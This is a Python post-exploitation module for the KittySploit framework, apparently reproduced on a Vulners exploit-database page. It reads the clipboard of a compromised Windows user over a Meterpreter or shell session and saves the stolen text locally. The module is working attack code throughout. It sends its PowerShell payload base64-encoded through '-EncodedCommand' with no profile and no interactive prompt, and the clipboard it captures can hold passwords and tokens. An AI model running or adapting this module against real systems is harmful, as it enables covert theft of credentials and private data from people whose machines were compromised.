Windows Gather Clipboard
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Read the current Windows clipboard text from an interactive user session.
"""
from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time
_LOCAL_OUT = "output"
class Module(Post):
__info__ = {
"name": "Windows Gather Clipboard",
"description": (
"Read the current clipboard text from the interactive desktop session "
"on a Windows shell or Meterpreter session."
),
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
"references": [
"https://attack.mitre.org/techniques/T1115/"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
save_local = OptBool(True, "Save clipboard text under ./output", False)
def _execute_cmd(self, command: str) -> str:
if not command:
return ""
output = self.cmd_execute(command)
return output.strip() if output else ""
def _encode_powershell(self, script: str) -> str:
return base64.b64encode(script.encode("utf-16le")).decode("ascii")
def _run_powershell(self, script: str) -> str:
encoded = self._encode_powershell(script)
return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")
def _bool_opt(self, val, default=False) -> bool:
if val is None:
return default
if isinstance(val, bool):
return val
return str(val).strip().lower() in ("1", "true", "yes", "on")
def _powershell_script(self) -> str:
return r"""
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Windows.Forms
$text = $null
if (Get-Command Get-Clipboard -ErrorAction SilentlyContinue) {
$text = Get-Clipboard -Raw -ErrorAction SilentlyContinue
}
if ([string]::IsNullOrEmpty($text)) {
if ([System.Windows.Forms.Clipboard]::ContainsText()) {
$text = [System.Windows.Forms.Clipboard]::GetText()
}
}
if ([string]::IsNullOrEmpty($text)) {
Write-Output 'Clipboard is empty or not accessible (interactive desktop session required).'
} else {
Write-Output "=== Clipboard text ($($text.Length) chars) ==="
Write-Output $text
}
"""
def check(self):
if not win_probe_powershell(self._execute_cmd):
print_error("PowerShell is not available on the target")
return False
print_warning("Requires an interactive desktop session (may fail in Session 0)")
return True
def _save_output(self, content: str) -> str:
os.makedirs(_LOCAL_OUT, exist_ok=True)
stamp = time.strftime("%Y%m%d_%H%M%S")
local_path = os.path.join(_LOCAL_OUT, f"clipboard_{stamp}.txt")
with open(local_path, "w", encoding="utf-8", errors="replace") as f:
f.write(content)
return local_path
def run(self):
if not self.check():
raise ProcedureError(win_compat_failure_type(), "PowerShell is not available on the target")
print_status("Reading clipboard contents...")
result = self._run_powershell(self._powershell_script())
if not result:
raise ProcedureError(FailureType.Unknown, "No output was returned")
if re.search(r"Clipboard is empty or not accessible", result, re.I):
print_warning(result)
return True
if self._bool_opt(self.save_local, True):
local_path = self._save_output(result + "\n")
print_success(f"Clipboard saved to ./{local_path}")
print_success("Clipboard capture completed")
print_info(result)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9